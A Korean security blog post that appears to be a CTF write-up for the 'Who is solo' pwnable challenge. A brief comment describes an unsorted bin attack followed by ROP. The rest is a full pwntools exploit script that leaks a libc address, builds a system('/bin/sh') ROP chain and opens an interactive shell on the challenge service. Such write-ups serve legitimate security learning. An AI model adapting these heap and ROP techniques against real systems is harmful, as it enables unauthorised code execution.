Notice
Recent Posts
Recent Comments
Link
«   2025/05   »
1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

cdor1's lab

Christmas CTF Who is solo 본문

Security/Pwnable

Christmas CTF Who is solo

Cdor1 2017. 1. 9. 03:17

후기 : unsorted bin attack을 사용해서 건들수 없는 변수를 덮고, 그걸 이용해서 rop하는 문제다.

다른분들은 fastbin을 이용해서 푸셨다고 하는데 상준이형의 의도대로 unsorted bin attack을 이용해서 풀었다 ㅎ

저번에 풀었던 remuheap은 낙현이 문제, whoissolo는 상준이형 문제로 풀어봤는데 

나두 이 문제들처럼 깔끔하고 재밌는 문제들 만들 수 있도록 노력해야겠다.


from pwn import *
s = remote('localhost', 4001)
elf = ELF('/home/cdor1/pwnable/solo')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

def malloc(num, size, data):
	print s.recvuntil('$ ')
	s.sendline('1')
	print s.recvuntil('Allocate Chunk Number: ')
	s.sendline(str(num))
	print s.recvuntil('Input Size: ')
	s.sendline(str(size))
	print s.recvuntil('Input Data: ')
	s.sendline(data)

def free(num):
	print s.recvuntil('$ ')
	s.sendline('2')
	print s.recvuntil('Free Chunk number: ')
	s.sendline(str(num))

def list():
	print s.recvuntil('$ ')
	s.sendline('3')

def login(data):
	print s.recvuntil('$ ')
	s.sendline('4')
	print s.recvuntil('Input password: ')
	s.sendline(data)

def input_data(data):
	print s.recvuntil('$ ')
	s.sendline('201527')
	print s.recvuntil('Modify Data: ')
	s.sendline(data)

malloc(1, 0x80, 'AAAA')
malloc(2, 0x90, 'BBBB')

free(1)

input_data('A'*8 + p64(0x602080 - 0x10))
malloc(3, 0x80, 'DDDD')

pay = 'A'*0x408
pay += p64(0x400d13)
pay += p64(puts_got)
pay += p64(puts_plt)
pay += p64(0x40078B)
login(pay)

print s.recvuntil('$ ')
s.sendline('5')
leak = u64(s.read(6).ljust(8,'\x00'))
base = leak - 0x6fd60
system = base + 0x46590
binsh = base + 0x17c8c3
log.info('puts : ' + hex(leak))
log.info('libc_base : ' + hex(base))
log.info('system : ' + hex(system))

pay = p64(0x400d13)*226
pay += p64(binsh)
pay += p64(system)

s.sendline(pay)
raw_input()
print s.recvuntil('$ ')
s.sendline('5')
s.interactive()

'Security > Pwnable' 카테고리의 다른 글

HITCON Qual 2016 House of orange  (0) 2017.01.10
RCTF 2015 shaxian  (0) 2017.01.10
Belluminar 2016 remuheap  (0) 2017.01.08
HITCON 2016 SleepyHolder  (0) 2017.01.08
2016 MMA CTF diary  (0) 2017.01.07
Comments